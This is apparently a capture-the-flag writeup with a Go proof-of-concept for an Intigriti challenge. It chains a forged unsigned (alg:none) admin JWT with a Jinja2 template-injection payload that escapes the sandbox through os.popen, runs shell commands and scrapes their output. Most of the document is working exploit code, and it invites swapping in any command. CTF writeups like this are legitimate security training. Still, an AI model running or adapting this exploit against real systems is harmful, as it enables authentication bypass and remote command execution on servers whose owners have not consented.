Server-side template injection (Jinja2 SSTI) + unsigned JWT.

Overview

Vulnerability Type: Server-side template injection (Jinja2 SSTI) + unsigned JWT.
Target: https://challenge-1125.intigriti.io
Impact: Remote command execution (RCE) and sensitive file exposure.
This repo: A small Go program (main.go) that automates the PoC.

Impact

  • Authenticated attacker equivalent privileges without credentials by forging JWT.
  • Full remote code execution via template sandbox escape enables arbitrary file read/write, lateral movement, and persistence.
  • Sensitive artifacts (e.g., INTIGRITI{...} flag) can be exfiltrated; database or secret leaks are highly likely.
  • Exploit chain is zero-click once cookie is set, so detection is difficult and response window minimal.

Root Cause

  • The server accepts the JWT in the token cookie without verifying any signature (alg: none).
  • The admin panel forwards display_name directly into Jinja2 and does not prevent access to internals such as cycler.__init__.__globals__.
  • Combining both flaws lets an attacker mint an authenticated admin session and execute os.popen commands inside the template.

PoC Flow

  1. JWT Crafting: Build an alg:none token with admin privileges, encode header/payload using base64-url without padding, and form header.payload.
  2. Cookie Injection: Send token=<jwt> to the target domain (see makeAdminSession()).
  3. SSTI Payload: Submit {{ cycler.__init__.__globals__['os'].popen('<cmd>').read() }} in display_name via runCmd().
  4. Read Output: Revisit the admin profile page and grab the <p> element under "Current Display Name" to obtain command output.

PoC Section

  • main.go leverages makeAdminSession() to craft the unsigned JWT and set the token cookie for an admin session.
  • runCmd(cmd string) POSTs the SSTI payload into display_name, then fetches the same endpoint to scrape and print the result.
  • main() calls runCmd("cat /app/.aquacommerce/019a82cf.txt"), but you can swap in any command to demonstrate RCE.
  • Since the script is fully automated, include screenshots or raw output in your report to confirm the manual steps.

Running the Tool

go run main.go

Default command: cat /app/.aquacommerce/019a82cf.txt.
Change the runCmd("<cmd>") call in main() to execute something else.

Exploit Code

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"strings"
	"time"

	"github.com/PuerkitoBio/goquery"
)

func b64(data interface{}) string {
	j, _ := json.Marshal(data)
	return base64.RawURLEncoding.EncodeToString(j)
}

func makeAdminSession() *http.Client {
	header := map[string]string{
		"alg": "none",
		"typ": "JWT",
	}
	payload := map[string]interface{}{
		"user_id":  1,
		"username": "admin",
		"role":     "admin",
		"exp":      time.Now().Unix() + 600,
	}

	token := b64(header) + "." + b64(payload) + "."

	jar, _ := cookiejar.New(nil)
	client := &http.Client{Jar: jar}

	// Cookie set et
	baseURL, _ := url.Parse("https://challenge-1125.intigriti.io")
	client.Jar.SetCookies(baseURL, []*http.Cookie{
		{
			Name:   "token",
			Value:  token,
			Path:   "/",
			Domain: "challenge-1125.intigriti.io",
		},
	})

	return client
}

func runCmd(cmd string) {
	client := makeAdminSession()

	tpl := fmt.Sprintf("{{ cycler.__init__.__globals__['os'].popen('%s').read() }}", cmd)

	form := url.Values{}
	form.Set("display_name", tpl)

	req, _ := http.NewRequest(
		"POST",
		"https://challenge-1125.intigriti.io/admin/profile",
		strings.NewReader(form.Encode()),
	)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	_, _ = client.Do(req)

	// GET profile
	resp, err := client.Get("https://challenge-1125.intigriti.io/admin/profile")
	if err != nil {
		fmt.Println("GET error:", err)
		return
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// HTML parse
	doc, _ := goquery.NewDocumentFromReader(strings.NewReader(string(body)))

	// "Current Display Name" altında gelen <p> elemanını çekiyoruz
	var output string
	doc.Find("label").Each(func(i int, s *goquery.Selection) {
		if strings.Contains(s.Text(), "Current Display Name") {
			p := s.Parent().Find("p")
			output = strings.TrimSpace(p.Text())
		}
	})

	if output == "" {
		fmt.Println("No output found (UI değişmiş olabilir)")
	} else {
		fmt.Println("CMD OUTPUT:\n" + output)
	}
}

func main() {
	runCmd("cat /app/.aquacommerce/019a82cf.txt")
}